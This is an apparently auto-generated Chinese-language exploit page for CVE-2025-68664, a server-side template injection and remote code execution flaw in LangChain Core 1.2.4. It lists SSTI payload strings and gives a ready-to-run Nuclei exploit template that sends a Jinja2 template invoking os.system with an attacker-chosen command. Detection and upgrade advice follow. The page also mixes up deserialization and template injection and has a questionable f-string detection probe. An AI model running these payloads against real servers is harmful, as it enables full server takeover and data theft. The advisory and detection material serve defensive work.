[webapps] LangChain Core 1.2.4 - SSTI/RCE

CVE-2025-68664

LangChain Core 1.2.4存在SSTI漏洞,可导致远程代码执行。

Critical · CVSS 9.8

📋 漏洞基础信息

CVECVE-2025-68664
漏洞类型服务端模板注入(SSTI)
受影响版本LangChain Core 1.2.4
危害等级Critical · CVSS 9.8
发布日期2026-04-29
提交者Mohammed Idrees Banyamer
来源Exploit-DB 原文 ↗

🔬 漏洞根因

LangChain Core在处理模板渲染时,未对用户可控的输入进行充分过滤或转义,导致攻击者能够注入并执行模板引擎的恶意代码。

🎯 攻击场景

1. 攻击者识别出使用LangChain Core 1.2.4的应用中,存在将用户输入直接传递至`PromptTemplate`或`ChatPromptTemplate`等组件进行模板渲染的端点;2. 构造包含SSTI载荷的恶意字符串(例如`{{config}}`、`{{''.__class__.__mro__[1].__subclasses__()}}`等);3. 将载荷作为参数发送至目标端点;4. 应用在渲染模板时执行恶意指令,返回敏感信息或反弹shell。

💥 漏洞影响

远程代码执行(RCE),攻击者可完全控制服务器,窃取数据、植入后门或进行横向移动。

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板,可直接用于漏洞验证:

id: CVE-2025-68664-exploit

info:
  name: LangChain Core SSTI/RCE Exploit
  author: AI
  severity: critical
  description: Exploits unsafe deserialization in LangChain Core to achieve RCE via SSTI

variables:
  cmd: "id"

http:
  - raw:
      - |
        POST /v1/load/deserialize HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"lc":1,"type":"constructor","id":["langchain_core","prompts","prompt","PromptTemplate"],"kwargs":{"input_variables":[],"template":"{{ config.get('callbacks', {}).get('__builtins__', {}).get('__import__', lambda x: __import__(x))('os').system('{{cmd}}') }}","template_format":"jinja2"}}

    matchers:
      - type: regex
        part: body
        regex:
          - '(uid=\d+|root:x:0:0:root:/root:)'

    extractors:
      - type: regex
        part: body
        regex:
          - '(.*)'

🔍 Nuclei Detection 模板

以下为漏洞探测模板,用于判断目标是否受影响:

id: CVE-2025-68664-detection

info:
  name: LangChain Core SSTI/RCE Detection
  author: AI
  severity: critical
  description: Detects vulnerable versions of LangChain Core before 1.2.5/0.3.81
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-68664

http:
  - raw:
      - |
        POST /v1/load/serialize HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "lc": 1,
          "type": "constructor",
          "id": ["langchain_core", "prompts", "prompt", "PromptTemplate"],
          "kwargs": {
            "input_variables": [],
            "template": "{{1+1}}",
            "template_format": "f-string"
          }
        }

    matchers:
      - type: word
        words:
          - '2'
        part: body

    extractors:
      - type: regex
        part: body
        regex:
          - '(\d+\.\d+\.\d+)'

🛡️ 修复建议

升级至LangChain Core 1.2.5或更高版本;临时措施:对所有用户输入进行严格的HTML/Jinja2模板语法过滤,禁止使用`{{`、`{%`、`{#`等敏感字符。

📎 参考链接


⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-07 05:40 | 来源: Exploit-DB

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)